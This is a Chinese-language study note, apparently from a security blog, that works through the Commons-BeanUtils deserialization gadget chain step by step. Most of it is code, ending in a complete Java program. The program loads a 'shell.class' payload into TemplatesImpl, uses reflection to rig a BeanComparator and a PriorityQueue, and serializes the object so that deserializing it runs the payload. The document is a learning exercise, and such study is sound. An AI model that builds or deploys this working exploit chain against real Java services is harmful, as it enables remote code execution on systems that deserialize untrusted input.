环境准备

参考:https://www.cnblogs.com/1vxyz/p/17588722.html

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

学习的时候没看到添加cc3.1依赖的但是一直报这个java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator错误,但是这个ComparableComparator包又在cc中,只能添加了(实则是没法了)。

jdk用的1.8u65

分析

主要利用点

CB链中有一个很特殊的类里的方法,就是PropertyUtils.getProperty(),举个例子应该就很明白了,

1
2
3
4
5
6
7
8
9
10
11
12
public class person{
private String name;
private int age;
public String getName(){return this.name;}
}

//测试
Person person = new Person("LL");
PropertyUtils.getProperty(person,"name");
//其实它就等价于
Person person = new Person("LL");
person.getName();

正因为有了这个类,我们也就有了主要的利用点

分析与结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class"));
byte[][] b1 = {b};

Class aClass = templates.getClass();
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, b1);

Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

这是前半段和cc3一样,就不过多赘述了,

1
defineTransletClasses()->newTransformer()->getOutputProperties()

而getOutputProperties()正是我们想要的,我们可以使用上述的利用点来对TemplatesImpl的getOutputProperties()方法进行调用这样就来到了PropertyUtils.getProperty()这里

img

我们会发现这里调用了PropertyUtils.getProperty(),然后还是我们熟悉的compare,那就很舒服了

然后剩下一部分可以模仿cc2来写,但是要改掉一部分

1
BeanComparator beanComparator = new BeanComparator();

img

不能直接传

1
BeanComparator beanComparator = new BeanComparator("outputProperties");

否则会在add的时候提前进入,这里要在后面用反射修改

1
2
3
4
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); 

priorityQueue.add(1);
priorityQueue.add(2);

这里一定要add两个,让size为2,否则进不去

img

这里

1
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); //可以直接传

能够直接传的原因也很简单

由于add1和2,所以看下图

img

o1是o2是1,这样是无法直接进行调用的然后继续分析

beanComparator(反射修改)

1
2
3
4
Class aClass1 = beanComparator.getClass();
Field property = aClass1.getDeclaredField("property");
property.setAccessible(true);
property.set(beanComparator,"outputProperties");

然后还有一个点调了好长时间就是那个o1和o2

img

注意这个queue0

img

注意x

img

queue[1]=2

最后传入了1,2所以我们最后要用反射改这里(改成templates)

1
2
3
4
5
6
7
8
9
10
11
Class aClass2 = priorityQueue.getClass();
// Field priority = aClass2.getDeclaredField("comparator");
// priority.setAccessible(true);
// priority.set(priorityQueue,beanComparator);

Field queueField = aClass2.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(priorityQueue);

queueArray[0] = templates;
queueArray[1] = templates;

这样就修改成功了

整体就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import javax.xml.ws.spi.Invoker;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {

public static void main(String[] args) throws Exception {



TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class"));
byte[][] b1 = {b};

Class aClass = templates.getClass();
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, b1);

Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");

Field tfactory = aClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// templates.getOutputProperties();

// PropertyUtils propertyUtils = new PropertyUtils();
// propertyUtils.getProperty(templates,"outputProperties");

BeanComparator beanComparator = new BeanComparator();

// beanComparator.compare(templates,templates);

PriorityQueue priorityQueue = new PriorityQueue(beanComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class aClass1 = beanComparator.getClass();
Field property = aClass1.getDeclaredField("property");
property.setAccessible(true);
property.set(beanComparator,"outputProperties");

Class aClass2 = priorityQueue.getClass();
// Field priority = aClass2.getDeclaredField("comparator");
// priority.setAccessible(true);
// priority.set(priorityQueue,beanComparator);

Field queueField = aClass2.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(priorityQueue);

queueArray[0] = templates;
queueArray[1] = templates;



serialize(priorityQueue);
unserialize("ser.bin");


}
public static void serialize(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}